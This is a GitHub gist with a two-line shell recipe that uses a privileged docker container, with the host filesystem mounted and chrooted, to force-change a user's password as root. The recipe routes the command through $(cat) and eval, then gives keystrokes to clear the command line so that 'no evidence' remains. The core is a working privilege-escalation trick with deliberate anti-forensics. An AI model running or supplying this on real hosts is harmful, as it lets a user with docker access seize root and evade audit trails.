Created
January 28, 2019 12:01
-
-
Save DavidPesticcio/93f1a1d0c507c05fd859e370d310de0e to your computer and use it in GitHub Desktop.
Use an insecure docker installation to force change your password as root, without exposing how.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Copy and paste the two lines below, followed by CTRL-D to force change your passwd on an insecure docker installation: | |
export X=$(cat); eval $X | |
ID=user_id docker run -ti --rm --privileged --name passwd --hostname passwd -v /:/rooted alpine sh -c "chroot /rooted passwd $ID" ; unset X | |
2. To clean up the command line history, use: | |
up-arrow, CTRL-U, down-arrow, ENTER | |
How it works: | |
When the "X" variable is created, it waits for input from the tty to the "$(cat)" command before exporting it. | |
Then the contents of the variable get evaluated. | |
This results in docker being run, prompting the user to change the password for "ID", then the "X" variable gets unset, leaving no evidence of it happening. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment